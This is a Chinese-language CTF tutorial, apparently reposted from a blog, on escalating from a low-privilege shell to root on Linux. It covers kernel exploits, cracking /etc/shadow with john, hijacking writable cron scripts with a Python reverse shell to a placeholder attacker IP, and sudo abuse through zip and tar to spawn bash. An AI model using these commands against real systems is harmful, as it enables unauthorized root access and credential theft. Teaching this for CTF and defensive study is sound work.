6-7CTF夺旗入门教程--路径遍历(提升root权限)

1.提权介绍

往往我们能拿下服务器的web服务只是具有低权限用户(如www-data),对于内网渗透,需要提权到root
提权前提:

  • 已经拿到低权shell
  • 被入侵机器上带有nc,python,perl等常见工具
  • 有权限上传和下载文件

2.内核漏洞提权

查看发行版本

cat /etc/issue
cat /etc/*-release

查看内核版本

uname -a

寻找内核溢出代码

searchsploit 发行版本 内核版本

上床内核溢出代码,编译执行

gcc xxx.c -o exploit
chmod +x exploit
./exploit

3.明文root密码提权

大多linux系统密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面存储了用户,shadow里面存储了密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的。
例如破解linux用户名和对应密码

#获取对应的两个文件
/etc/passwd /etc/shadow
unshadow passwd shadow > cracked
john cracked

4.计划任务提权

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。

cat /etc/crontab

非root权限用户不能列出root用户的计划任务。但/etc/内的系统的计划任务可以被列出。
默认这些程序以root权限执行,如果其中一个是任意用户可写,则可以修改脚本等回连rootshell
如果定时执行的是py脚本,可以使用以下例子来替换

#!/usr/bin/python
import os,subprocess,socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击机IP地址","攻击机监听端口"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])

5.密码复用登录提权

很多管理员会重复使用密码,因此数据库或web后台登录密码也可能是root密码
可以尝试使用ssh登录,但有ssh可能禁止root登录
可以使用低权shell输入密码,但linux要求必须从终端设备中输入密码,则可以使用python模拟终端设备

python -c "import pty;pty.spawn('/bin/bash')"

使用sudo -l 查看当前用户可以使用root提权的命令信息
利用zip进行提权

touch exploit
sudo -u root zip exploit.zip exploit -T -unzip-command="sh -c /bin/bash"

利用tar进行提权

sudo -u root tar cf /dev/null exploit -checkpoint=1 --checkpoint-action="/bin/bash"

猜你喜欢

转载自blog.csdn.net/m0_46622606/article/details/105896861